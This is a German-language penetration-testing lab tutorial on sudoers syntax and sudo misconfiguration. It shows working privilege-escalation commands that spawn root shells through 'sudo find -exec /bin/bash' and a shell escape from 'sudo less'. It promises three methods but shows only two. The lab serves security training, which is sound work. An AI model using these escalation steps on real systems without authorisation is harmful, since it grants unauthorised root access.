Einführung
In diesem Lab lernen Sie die Syntax der sudo-Konfigurationsdatei kennen und üben drei gängige Methoden zur Privilegiensteigerung mithilfe von sudo-Schwachstellen oder Fehleinstellungen. Das Ziel besteht darin, ein besseres Verständnis dafür zu erlangen, wie man sudo während eines Penetrationstests zur Privilegiensteigerung nutzen kann.
Syntax der sudo-Konfigurationsdatei
In diesem Schritt lernen Sie die Syntax der Datei /etc/sudoers kennen, die zur Konfiguration der sudo-Privilegien verwendet wird.
Die Datei /etc/sudoers wird verwendet, um anzugeben, welche Benutzer oder Gruppen Befehle mit erhöhten Rechten ausführen können. Um den Inhalt der Datei /etc/sudoers anzuzeigen und zu speichern, führen Sie den folgenden Befehl aus:
sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt
Die Ausgabe sollte in etwa wie folgt aussehen:
## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges
Diese Zeile gibt an, dass der Benutzer root jeden Befehl als beliebigen Benutzer oder Gruppe auf allen Hosts ausführen kann.
Die allgemeine Syntax für einen Eintrag in der sudoers-Datei lautet:
user_or_group_name host_list=(run_as_user:run_as_group) command_list
user_or_group_name: Der Benutzer oder die Gruppe, auf die die Regel angewendet wird.host_list: Der oder die Hosts, auf denen die Regel gilt. Der WertALLbedeutet alle Hosts.run_as_user: Der Benutzer, dessen Privilegien zum Ausführen des Befehls verwendet werden. Der WertALLbedeutet beliebiger Benutzer.run_as_group: Die Gruppe, deren Privilegien zum Ausführen des Befehls verwendet werden. Der WertALLbedeutet beliebige Gruppe.command_list: Der oder die Befehle, die der Benutzer oder die Gruppe ausführen darf.
Sudo ermöglicht die Berechtigungseskalation ohne Argumenteinschränkungen
In diesem Schritt üben Sie die Privilegiensteigerung, indem Sie Fehleinstellungen von sudo nutzen, die es ermöglichen, jeden Befehl mit erhöhten Rechten auszuführen.
Öffnen Sie zunächst ein Terminal und navigieren Sie in das Verzeichnis
/home/labex/project.cd /home/labex/projectInitialisieren Sie die Umgebung, indem Sie den folgenden Befehl ausführen:
./env_setup_1.shSie sind jetzt als Benutzer
user001angemeldet.Verwenden Sie den Befehl
sudo -l, um Ihre sudo-Privilegien zu prüfen:sudo -l(root) NOPASSWD:/usr/bin/findDies bedeutet, dass Sie den Befehl
findmitroot-Rechten ohne Passwort ausführen können.Um die Privilegien zu erhöhen, führen Sie aus:
sudo find /home -exec /bin/bash \;Sie sollten jetzt eine
root-Shell haben.Erstellen Sie eine Datei namens
success_1.txtim Verzeichnis/root, um zu überprüfen, dass Sieroot-Rechte haben:echo "success_1" | sudo tee /root/success_1.txtÜberprüfen Sie die Datei, indem Sie ausführen:
cat /root/success_1.txtDie Ausgabe sollte
success_1sein.
Sudo ermöglicht die Berechtigungseskalation mit spezifischen Befehlsargumenten
In diesem Schritt üben Sie die Privilegiensteigerung, indem Sie Fehleinstellungen von sudo nutzen, die es ermöglichen, bestimmte Befehle mit erhöhten Rechten auszuführen.
Nach dem letzten Schritt sind Sie immer noch als Benutzer root angemeldet. Um mit diesem Schritt fortzufahren, müssen Sie das aktuelle Terminal schließen und ein neues Terminal öffnen.
Öffnen Sie zunächst ein Terminal und navigieren Sie in das Verzeichnis
/home/labex/project.cd /home/labex/projectInitialisieren Sie die Umgebung, indem Sie den folgenden Befehl ausführen:
./env_setup_2.shPrüfen Sie Ihre sudo-Privilegien mit
sudo -l:sudo -lErwartete Ausgabe:
(root) NOPASSWD: /bin/less /var/log/messagesDies bedeutet, dass Sie den Befehl
/bin/less /var/log/messagesmitroot-Rechten ohne Passwort ausführen können.Um die Privilegien zu erhöhen, führen Sie aus:
sudo less /var/log/messagesSobald Sie sich im
less-Pager befinden, führen Sie aus:!/bin/bashSie sollten jetzt eine
root-Shell haben.Erstellen Sie eine Datei namens
success_2.txtim Verzeichnis/root, um zu überprüfen, dass Sieroot-Rechte haben:echo "success_2" | sudo tee /root/success_2.txtÜberprüfen Sie die Datei, indem Sie ausführen:
cat /root/success_2.txtDie Ausgabe sollte
success_2sein.
Zusammenfassung
In diesem Lab haben Sie die Syntax der Datei /etc/sudoers und die Konfiguration von sudo-Privilegien kennengelernt. Sie haben auch drei gängige Methoden zur Privilegiensteigerung mithilfe von sudo-Fehleinstellungen oder -Schwachstellen geübt. Indem Sie verstehen, wie Sie sudo zur Privilegiensteigerung nutzen können, können Sie potenzielle Sicherheitsrisiken in Linux-Systemen besser bewerten und mindern.
